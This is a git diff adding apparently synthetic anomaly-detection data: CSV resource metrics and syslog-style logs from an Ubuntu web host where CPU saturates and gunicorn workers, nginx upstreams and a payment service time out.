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+2025-07-02T11:06:40Z,98.11,38.11,21.97,0.62,1.44 +2025-07-02T11:06:45Z,96.18,42.85,23.56,1.03,2.35 +2025-07-02T11:06:50Z,100.0,38.98,24.72,0.78,1.05 +2025-07-02T11:06:55Z,100.0,37.22,25.65,0.95,1.45 +2025-07-02T11:07:00Z,97.27,42.98,26.46,0.83,1.4 +2025-07-02T11:07:05Z,96.48,35.94,24.1,1.02,1.44 +2025-07-02T11:07:10Z,97.76,36.96,25.85,0.62,1.0 +2025-07-02T11:07:15Z,97.05,42.97,33.88,1.01,0.86 +2025-07-02T11:07:20Z,99.04,40.23,33.71,0.92,1.25 +2025-07-02T11:07:25Z,98.13,37.18,25.75,0.79,1.51 diff --git a/anom_dataset/scenario_1/anom_1_21.log b/anom_dataset/scenario_1/anom_1_21.log new file mode 100644 index 0000000000000000000000000000000000000000..ba89d3c139c7a10c4ec7ef42e43275dc30669a60 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_21.log @@ -0,0 +1,90 @@ +Jul 02 11:00:02 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:00:06 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 1 of user ubuntu. +Jul 02 11:00:13 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:00:18 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:00:22 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:00:28 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:00:32 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:00:37 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 2 of user ubuntu. +Jul 02 11:00:41 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 3 of user ubuntu. +Jul 02 11:00:46 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:00:51 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:00:58 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:01:02 ubuntu-s-1vcpu-1gb nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:01:07 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:01:12 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:01:16 ubuntu-s-1vcpu-1gb nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:01:23 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 4 of user ubuntu. +Jul 02 11:01:26 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:01:31 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:01:38 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:01:41 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 5 of user ubuntu. +Jul 02 11:01:46 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:51 ubuntu-s-1vcpu-1gb nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:01:58 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:02:03 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:02:08 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 6 of user ubuntu. +Jul 02 11:02:11 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:02:18 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:02:22 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:02:27 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:02:31 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:02:38 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:02:42 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 7 of user ubuntu. +Jul 02 11:02:48 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:02:51 ubuntu-s-1vcpu-1gb nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:02:56 ubuntu-s-1vcpu-1gb gunicorn[3123]: [CRITICAL] WORKER TIMEOUT (pid:23533) +Jul 02 11:03:03 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 8 of user ubuntu. +Jul 02 11:03:08 ubuntu-s-1vcpu-1gb webapp[4567]: WARNING high latency detected for downstream service: user-database +Jul 02 11:03:11 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 9 of user ubuntu. +Jul 02 11:03:16 ubuntu-s-1vcpu-1gb nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:03:23 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 10 of user ubuntu. +Jul 02 11:03:26 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 11 of user ubuntu. +Jul 02 11:03:31 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:03:36 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:03:41 ubuntu-s-1vcpu-1gb nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:03:48 ubuntu-s-1vcpu-1gb nginx[1123]: upstream request timed out (110: Connection timed out) while reading response header from upstream, client: 192.168.1.105, server: _, request: 'GET /api/data HTTP/1.1' +Jul 02 11:03:52 ubuntu-s-1vcpu-1gb webapp[4567]: WARNING high latency detected for downstream service: user-database +Jul 02 11:03:57 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:04:03 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:07 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:12 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:18 ubuntu-s-1vcpu-1gb webapp[4567]: WARNING high latency detected for downstream service: user-database +Jul 02 11:04:21 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 12 of user ubuntu. +Jul 02 11:04:27 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:33 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:37 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:42 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 13 of user ubuntu. +Jul 02 11:04:46 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:04:51 ubuntu-s-1vcpu-1gb webapp[4567]: WARNING high latency detected for downstream service: user-database +Jul 02 11:04:58 ubuntu-s-1vcpu-1gb nginx[1123]: upstream request timed out (110: Connection timed out) while reading response header from upstream, client: 192.168.1.105, server: _, request: 'GET /api/data HTTP/1.1' +Jul 02 11:05:01 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 14 of user ubuntu. +Jul 02 11:05:08 ubuntu-s-1vcpu-1gb nginx[1123]: upstream request timed out (110: Connection timed out) while reading response header from upstream, client: 192.168.1.105, server: _, request: 'GET /api/data HTTP/1.1' +Jul 02 11:05:13 ubuntu-s-1vcpu-1gb nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:05:16 ubuntu-s-1vcpu-1gb webapp[4567]: WARNING high latency detected for downstream service: user-database +Jul 02 11:05:23 ubuntu-s-1vcpu-1gb webapp[4567]: ERROR request to payment-service failed: timeout +Jul 02 11:05:27 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:05:32 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:05:38 ubuntu-s-1vcpu-1gb nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:05:43 ubuntu-s-1vcpu-1gb webapp[4567]: WARNING high latency detected for downstream service: user-database +Jul 02 11:05:48 ubuntu-s-1vcpu-1gb webapp[4567]: ERROR request to payment-service failed: timeout +Jul 02 11:05:52 ubuntu-s-1vcpu-1gb nginx[1123]: upstream request timed out (110: Connection timed out) while reading response header from upstream, client: 192.168.1.105, server: _, request: 'GET /api/data HTTP/1.1' +Jul 02 11:05:58 ubuntu-s-1vcpu-1gb systemd[1]: Started Session 15 of user ubuntu. +Jul 02 11:06:01 ubuntu-s-1vcpu-1gb nginx[1123]: upstream request timed out (110: Connection timed out) while reading response header from upstream, client: 192.168.1.105, server: _, request: 'GET /api/data HTTP/1.1' +Jul 02 11:06:08 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:06:13 ubuntu-s-1vcpu-1gb cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:06:18 ubuntu-s-1vcpu-1gb webapp[4567]: ERROR request to payment-service failed: timeout +Jul 02 11:06:22 ubuntu-s-1vcpu-1gb webapp[4567]: ERROR request to payment-service failed: timeout +Jul 02 11:06:28 ubuntu-s-1vcpu-1gb sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 11:06:33 ubuntu-s-1vcpu-1gb webapp[4567]: WARNING high latency detected for downstream service: user-database +Jul 02 11:06:37 ubuntu-s-1vcpu-1gb nginx[1123]: upstream request timed out (110: Connection timed out) while reading response header from upstream, client: 192.168.1.105, server: _, request: 'GET /api/data HTTP/1.1' +Jul 02 11:06:42 ubuntu-s-1vcpu-1gb webapp[4567]: WARNING high latency detected for downstream service: user-database +Jul 02 11:06:46 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:06:53 ubuntu-s-1vcpu-1gb webapp[4567]: ERROR request to payment-service failed: timeout +Jul 02 11:06:57 ubuntu-s-1vcpu-1gb webapp[4567]: ERROR request to payment-service failed: timeout +Jul 02 11:07:01 ubuntu-s-1vcpu-1gb gunicorn[3123]: [CRITICAL] WORKER TIMEOUT (pid:23752) +Jul 02 11:07:07 ubuntu-s-1vcpu-1gb nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:07:11 ubuntu-s-1vcpu-1gb gunicorn[3123]: [CRITICAL] WORKER TIMEOUT (pid:20421) +Jul 02 11:07:17 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:07:21 ubuntu-s-1vcpu-1gb kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:07:27 ubuntu-s-1vcpu-1gb gunicorn[3123]: [CRITICAL] WORKER TIMEOUT (pid:21925) diff --git a/anom_dataset/scenario_1/anom_1_22.csv b/anom_dataset/scenario_1/anom_1_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..5daefc5dc75cb81e71e8f5316130e088dbde65fb --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-11T14:00:00Z,19.35,38.64,29.68,1.14,1.43 +2025-08-11T14:00:05Z,12.23,39.93,21.22,1.29,0.88 +2025-08-11T14:00:10Z,13.15,42.93,28.19,1.22,1.17 +2025-08-11T14:00:15Z,15.98,36.52,24.84,0.61,1.3 +2025-08-11T14:00:20Z,10.61,40.46,34.78,1.08,1.26 +2025-08-11T14:00:25Z,10.25,41.11,24.89,0.94,1.48 +2025-08-11T14:00:30Z,15.82,43.39,26.95,1.23,1.38 +2025-08-11T14:00:35Z,18.74,38.31,32.12,0.96,1.77 +2025-08-11T14:00:40Z,14.89,43.8,29.17,1.25,1.3 +2025-08-11T14:00:45Z,18.6,43.13,31.25,0.78,1.77 +2025-08-11T14:00:50Z,13.76,39.73,26.2,1.26,1.08 +2025-08-11T14:00:55Z,13.99,43.46,20.64,0.7,0.74 +2025-08-11T14:01:00Z,13.83,41.78,23.38,1.41,1.68 +2025-08-11T14:01:05Z,15.77,42.97,26.34,1.48,0.72 +2025-08-11T14:01:10Z,10.64,36.02,21.74,1.29,1.34 +2025-08-11T14:01:15Z,12.83,35.04,30.78,0.94,1.67 +2025-08-11T14:01:20Z,14.12,38.74,22.21,1.03,1.41 +2025-08-11T14:01:25Z,13.46,43.81,20.11,1.11,0.74 +2025-08-11T14:01:30Z,15.32,35.18,30.47,1.09,1.01 +2025-08-11T14:01:35Z,16.12,39.99,28.5,0.6,1.72 +2025-08-11T14:01:40Z,18.28,40.16,34.92,0.75,0.88 +2025-08-11T14:01:45Z,12.98,43.14,30.09,0.7,0.82 +2025-08-11T14:01:50Z,11.79,35.08,30.81,0.82,0.82 +2025-08-11T14:01:55Z,12.26,44.42,31.66,1.45,1.07 +2025-08-11T14:02:00Z,16.21,44.83,27.77,1.27,1.13 +2025-08-11T14:02:05Z,14.63,41.97,29.02,0.59,1.0 +2025-08-11T14:02:10Z,11.85,41.22,22.74,0.54,1.06 +2025-08-11T14:02:15Z,19.37,40.25,27.99,0.82,0.73 +2025-08-11T14:02:20Z,11.44,35.3,32.26,1.02,1.26 +2025-08-11T14:02:25Z,18.87,39.89,33.81,1.18,1.06 +2025-08-11T14:02:30Z,20.0,42.91,28.46,1.08,0.97 +2025-08-11T14:02:35Z,25.71,42.01,24.18,0.66,1.15 +2025-08-11T14:02:40Z,31.43,38.67,24.53,0.91,1.55 +2025-08-11T14:02:45Z,37.14,37.29,32.87,1.27,1.69 +2025-08-11T14:02:50Z,42.86,39.0,23.77,1.23,1.67 +2025-08-11T14:02:55Z,48.57,39.17,28.27,1.1,1.19 +2025-08-11T14:03:00Z,54.29,40.61,22.47,1.25,1.31 +2025-08-11T14:03:05Z,60.0,41.13,32.92,0.71,1.03 +2025-08-11T14:03:10Z,65.71,38.84,33.25,1.17,1.01 +2025-08-11T14:03:15Z,71.43,36.97,22.3,0.7,1.15 +2025-08-11T14:03:20Z,77.14,40.24,32.55,1.41,0.79 +2025-08-11T14:03:25Z,82.86,36.96,22.44,1.23,1.66 +2025-08-11T14:03:30Z,88.57,37.18,30.55,0.65,1.14 +2025-08-11T14:03:35Z,94.29,36.65,28.89,1.36,1.43 +2025-08-11T14:03:40Z,100.0,40.14,23.94,1.06,1.2 +2025-08-11T14:03:45Z,99.81,44.68,27.68,0.69,1.01 +2025-08-11T14:03:50Z,99.58,41.55,25.4,1.1,1.39 +2025-08-11T14:03:55Z,98.99,35.08,21.38,0.81,1.47 +2025-08-11T14:04:00Z,98.85,39.81,30.86,1.24,1.64 +2025-08-11T14:04:05Z,99.2,39.23,24.62,1.19,1.65 +2025-08-11T14:04:10Z,98.57,37.19,21.45,0.7,1.52 +2025-08-11T14:04:15Z,99.07,40.19,21.4,1.14,1.65 +2025-08-11T14:04:20Z,99.53,35.36,34.12,1.26,1.23 +2025-08-11T14:04:25Z,98.93,35.89,34.37,0.65,0.8 +2025-08-11T14:04:30Z,99.99,44.4,24.59,0.91,1.2 +2025-08-11T14:04:35Z,99.0,43.47,23.69,0.95,1.17 +2025-08-11T14:04:40Z,98.5,42.97,33.7,1.41,0.75 +2025-08-11T14:04:45Z,99.39,36.83,20.9,0.95,1.08 +2025-08-11T14:04:50Z,98.97,44.83,33.69,0.65,1.05 +2025-08-11T14:04:55Z,98.93,41.26,30.87,1.21,1.07 +2025-08-11T14:05:00Z,98.98,37.26,27.82,1.08,0.95 +2025-08-11T14:05:05Z,99.61,37.38,27.8,0.75,1.77 +2025-08-11T14:05:10Z,98.92,36.54,30.98,0.77,1.32 +2025-08-11T14:05:15Z,99.76,43.23,29.62,0.53,1.21 +2025-08-11T14:05:20Z,99.27,41.02,22.8,0.65,1.41 +2025-08-11T14:05:25Z,98.58,44.48,27.1,0.73,1.38 +2025-08-11T14:05:30Z,99.3,38.47,24.58,1.18,1.71 +2025-08-11T14:05:35Z,98.77,35.78,34.03,0.57,1.38 +2025-08-11T14:05:40Z,99.8,41.65,21.11,0.79,0.77 +2025-08-11T14:05:45Z,99.5,35.68,32.81,1.26,1.59 +2025-08-11T14:05:50Z,99.33,38.09,21.86,1.22,1.5 +2025-08-11T14:05:55Z,99.34,41.13,25.08,1.23,0.71 +2025-08-11T14:06:00Z,98.91,42.64,26.59,0.82,1.49 +2025-08-11T14:06:05Z,99.76,38.98,33.29,1.43,1.37 +2025-08-11T14:06:10Z,98.72,36.31,31.03,0.93,0.97 +2025-08-11T14:06:15Z,99.38,37.6,34.27,1.36,1.17 +2025-08-11T14:06:20Z,99.24,39.31,29.12,1.05,1.05 +2025-08-11T14:06:25Z,99.55,36.97,27.9,1.42,0.92 +2025-08-11T14:06:30Z,99.56,41.13,20.13,0.63,1.25 +2025-08-11T14:06:35Z,99.91,41.79,29.99,1.23,0.94 +2025-08-11T14:06:40Z,99.67,36.01,34.96,0.8,1.69 +2025-08-11T14:06:45Z,98.52,44.89,28.58,0.98,0.77 +2025-08-11T14:06:50Z,99.76,44.43,23.93,1.45,1.11 +2025-08-11T14:06:55Z,98.57,37.62,28.71,1.3,0.74 +2025-08-11T14:07:00Z,99.08,35.5,33.02,1.12,1.58 +2025-08-11T14:07:05Z,99.45,35.52,22.0,1.31,0.76 +2025-08-11T14:07:10Z,99.28,43.88,26.32,1.29,1.5 +2025-08-11T14:07:15Z,99.01,36.23,24.77,0.68,1.17 +2025-08-11T14:07:20Z,99.97,40.93,21.34,0.58,1.34 +2025-08-11T14:07:25Z,98.96,38.29,33.48,1.0,1.34 diff --git a/anom_dataset/scenario_1/anom_1_22.log b/anom_dataset/scenario_1/anom_1_22.log new file mode 100644 index 0000000000000000000000000000000000000000..ee7bafa3ff3b919120c56a42005c7442fc5d45e7 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_22.log @@ -0,0 +1,91 @@ +Aug 11 14:00:05 systemd[1]: Started Session 1 of user admin. +Aug 11 14:00:25 sshd[11021]: Accepted publickey for admin from 10.0.2.2 port 48923 ssh2 +Aug 11 14:00:50 cron[11432]: (root) CMD ( /usr/local/bin/backup.sh) +Aug 11 14:01:00 webapp[5432]: INFO GET /api/v1/health 200 OK +Aug 11 14:02:00 webapp[5432]: INFO GET /api/v1/health 200 OK +Aug 11 14:02:05 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 11 14:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 11 14:03:00 nginx[1123]: [error] 111#111: *123 upstream timed out (110: Connection timed out) while reading response header from upstream +Aug 11 14:03:05 gunicorn[8118]: [ERROR] WORKER TIMEOUT (pid:8120) +Aug 11 14:03:05 webapp[8118]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:03:15 gunicorn[8490]: [ERROR] WORKER TIMEOUT (pid:8492) +Aug 11 14:03:15 webapp[8490]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:03:20 gunicorn[8068]: [ERROR] WORKER TIMEOUT (pid:8070) +Aug 11 14:03:20 webapp[8068]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:03:25 gunicorn[8160]: [ERROR] WORKER TIMEOUT (pid:8161) +Aug 11 14:03:25 webapp[8160]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:03:30 gunicorn[8021]: [ERROR] WORKER TIMEOUT (pid:8024) +Aug 11 14:03:30 webapp[8021]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:03:35 gunicorn[8300]: [ERROR] WORKER TIMEOUT (pid:8302) +Aug 11 14:03:35 nginx[1123]: [error] 111#111: *123 upstream timed out (110: Connection timed out) while reading response header from upstream +Aug 11 14:03:35 webapp[8300]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:03:45 gunicorn[8400]: [ERROR] WORKER TIMEOUT (pid:8401) +Aug 11 14:03:45 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 11 14:03:45 webapp[8400]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:03:50 gunicorn[8119]: [ERROR] WORKER TIMEOUT (pid:8122) +Aug 11 14:03:50 nginx[1123]: [error] 111#111: *123 upstream timed out (110: Connection timed out) while reading response header from upstream +Aug 11 14:03:50 webapp[8119]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:03:55 gunicorn[8066]: [ERROR] WORKER TIMEOUT (pid:8068) +Aug 11 14:03:55 webapp[8066]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:04:10 gunicorn[8331]: [ERROR] WORKER TIMEOUT (pid:8332) +Aug 11 14:04:10 webapp[8331]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:04:20 gunicorn[8199]: [ERROR] WORKER TIMEOUT (pid:8200) +Aug 11 14:04:20 webapp[8199]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:04:25 gunicorn[8354]: [ERROR] WORKER TIMEOUT (pid:8357) +Aug 11 14:04:25 webapp[8354]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:04:30 gunicorn[8260]: [ERROR] WORKER TIMEOUT (pid:8261) +Aug 11 14:04:30 webapp[8260]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:04:35 nginx[1123]: [error] 111#111: *123 upstream timed out (110: Connection timed out) while reading response header from upstream +Aug 11 14:04:50 gunicorn[8135]: [ERROR] WORKER TIMEOUT (pid:8138) +Aug 11 14:04:50 webapp[8135]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:04:55 gunicorn[8223]: [ERROR] WORKER TIMEOUT (pid:8224) +Aug 11 14:04:55 webapp[8223]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 11 14:05:05 gunicorn[8352]: [ERROR] WORKER TIMEOUT (pid:8355) +Aug 11 14:05:05 webapp[8352]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:05:15 nginx[1123]: [error] 111#111: *123 upstream timed out (110: Connection timed out) while reading response header from upstream +Aug 11 14:05:20 gunicorn[8226]: [ERROR] WORKER TIMEOUT (pid:8228) +Aug 11 14:05:20 webapp[8226]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:05:25 gunicorn[8315]: [ERROR] WORKER TIMEOUT (pid:8318) +Aug 11 14:05:25 webapp[8315]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:05:30 gunicorn[8282]: [ERROR] WORKER TIMEOUT (pid:8284) +Aug 11 14:05:30 webapp[8282]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:05:35 gunicorn[8279]: [ERROR] WORKER TIMEOUT (pid:8281) +Aug 11 14:05:35 webapp[8279]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:05:40 gunicorn[8078]: [ERROR] WORKER TIMEOUT (pid:8081) +Aug 11 14:05:40 nginx[1123]: [error] 111#111: *123 upstream timed out (110: Connection timed out) while reading response header from upstream +Aug 11 14:05:40 webapp[8078]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:05:45 gunicorn[8449]: [ERROR] WORKER TIMEOUT (pid:8452) +Aug 11 14:05:45 webapp[8449]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:05:50 gunicorn[8419]: [ERROR] WORKER TIMEOUT (pid:8422) +Aug 11 14:05:50 webapp[8419]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:05:55 gunicorn[8006]: [ERROR] WORKER TIMEOUT (pid:8007) +Aug 11 14:05:55 webapp[8006]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:06:00 gunicorn[8490]: [ERROR] WORKER TIMEOUT (pid:8492) +Aug 11 14:06:00 webapp[8490]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:06:05 gunicorn[8013]: [ERROR] WORKER TIMEOUT (pid:8015) +Aug 11 14:06:05 nginx[1123]: [error] 111#111: *123 upstream timed out (110: Connection timed out) while reading response header from upstream +Aug 11 14:06:05 webapp[8013]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:06:10 gunicorn[8371]: [ERROR] WORKER TIMEOUT (pid:8372) +Aug 11 14:06:10 webapp[8371]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:06:15 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 11 14:06:25 nginx[1123]: [error] 111#111: *123 upstream timed out (110: Connection timed out) while reading response header from upstream +Aug 11 14:06:30 gunicorn[8308]: [ERROR] WORKER TIMEOUT (pid:8310) +Aug 11 14:06:30 webapp[8308]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:06:40 gunicorn[8321]: [ERROR] WORKER TIMEOUT (pid:8324) +Aug 11 14:06:40 webapp[8321]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:06:45 nginx[1123]: [error] 111#111: *123 upstream timed out (110: Connection timed out) while reading response header from upstream +Aug 11 14:06:50 gunicorn[8312]: [ERROR] WORKER TIMEOUT (pid:8313) +Aug 11 14:06:50 webapp[8312]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:06:55 gunicorn[8107]: [ERROR] WORKER TIMEOUT (pid:8109) +Aug 11 14:06:55 webapp[8107]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:07:00 gunicorn[8323]: [ERROR] WORKER TIMEOUT (pid:8324) +Aug 11 14:07:00 webapp[8323]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:07:10 gunicorn[8086]: [ERROR] WORKER TIMEOUT (pid:8087) +Aug 11 14:07:10 webapp[8086]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:07:15 gunicorn[8087]: [ERROR] WORKER TIMEOUT (pid:8088) +Aug 11 14:07:15 webapp[8087]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:07:20 gunicorn[8083]: [ERROR] WORKER TIMEOUT (pid:8086) +Aug 11 14:07:20 webapp[8083]: [ERROR] request to GET /api/v1/data failed: upstream request timeout +Aug 11 14:07:25 gunicorn[8381]: [ERROR] WORKER TIMEOUT (pid:8382) +Aug 11 14:07:25 webapp[8381]: [ERROR] request to GET /api/v1/data failed: upstream request timeout diff --git a/anom_dataset/scenario_1/anom_1_23.csv b/anom_dataset/scenario_1/anom_1_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..3cddd99d1965a8baeb4a592de969e2351c15e025 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,24.35,35.04,30.78,0.94,1.67 +2025-07-02T10:00:05Z,17.23,38.74,22.21,1.03,1.41 +2025-07-02T10:00:10Z,18.15,43.81,20.11,1.11,0.74 +2025-07-02T10:00:15Z,20.98,35.18,30.47,1.09,1.01 +2025-07-02T10:00:20Z,15.61,39.99,28.5,0.6,1.72 +2025-07-02T10:00:25Z,15.25,40.16,34.92,0.75,0.88 +2025-07-02T10:00:30Z,20.82,43.14,30.09,0.7,0.82 +2025-07-02T10:00:35Z,23.74,35.08,30.81,0.82,0.82 +2025-07-02T10:00:40Z,19.89,44.42,31.66,1.45,1.07 +2025-07-02T10:00:45Z,23.6,44.83,27.77,1.27,1.13 +2025-07-02T10:00:50Z,18.76,41.97,29.02,0.59,1.0 +2025-07-02T10:00:55Z,18.99,41.22,22.74,0.54,1.06 +2025-07-02T10:01:00Z,18.83,40.25,27.99,0.82,0.73 +2025-07-02T10:01:05Z,20.77,35.3,32.26,1.02,1.26 +2025-07-02T10:01:10Z,15.64,39.89,33.81,1.18,1.06 +2025-07-02T10:01:15Z,17.83,42.91,28.46,1.08,0.97 +2025-07-02T10:01:20Z,19.12,42.01,24.18,0.66,1.15 +2025-07-02T10:01:25Z,18.46,38.67,24.53,0.91,1.55 +2025-07-02T10:01:30Z,20.32,37.29,32.87,1.27,1.69 +2025-07-02T10:01:35Z,21.12,39.0,23.77,1.23,1.67 +2025-07-02T10:01:40Z,23.28,39.17,28.27,1.1,1.19 +2025-07-02T10:01:45Z,17.98,40.61,22.47,1.25,1.31 +2025-07-02T10:01:50Z,16.79,41.13,32.92,0.71,1.03 +2025-07-02T10:01:55Z,17.26,38.84,33.25,1.17,1.01 